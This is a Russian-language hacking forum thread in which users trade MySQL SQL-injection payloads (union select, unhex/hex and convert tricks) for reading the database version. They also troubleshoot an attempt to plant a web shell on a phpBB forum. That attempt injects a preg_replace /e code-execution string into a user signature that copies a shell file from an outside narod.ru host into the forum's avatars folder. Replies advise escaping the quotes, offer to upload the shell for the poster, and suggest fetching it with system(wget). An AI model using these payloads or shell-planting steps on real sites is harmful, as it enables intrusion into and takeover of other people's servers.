В кодировке. Пробуй convert(concat(version())+using+latin1)

union+select+1,unhex(hex(version())),3/*

convert(version(),binary)
AES_DECRYPT(AES_ENCRYPT(CONCAT(version()),0x71),0x 71)
...
Давай все поперечисляем?

Действительно, в кодировке.
Спасибо

хм... вот такая вот ошибочка когда пытаюсь залить код с copy:
SQL Error : 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'http://shall57.narod.ru/shall.txt','/usr/local/www/vhosts/xxx/httpdocs/f' at line 1

UPDATE forum_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='forum:copy('http://shall57.narod.ru/shall.txt','/usr/local/www/vhosts/xxx.ru/httpdocs/forum/avatars/shall.txt')' WHERE user_id=2

Line : 980
File : admin_db_utilities.php


Подумал можт дело в '' убрал их... залилось но выдает пустую страничку (((((

Ghost0ff
в пхпбб какой версии пытаешся залить шелл? кинь данные в пм зделаю)

Ясен пень, что дело в кавычках. Внутренние апострофы экранировать надо.

хм... это как? оО кинь ссылко на источник или объясни плз

а что system(wget get и т.д) уже не в моде? или отключён? Лишний гемор всё это...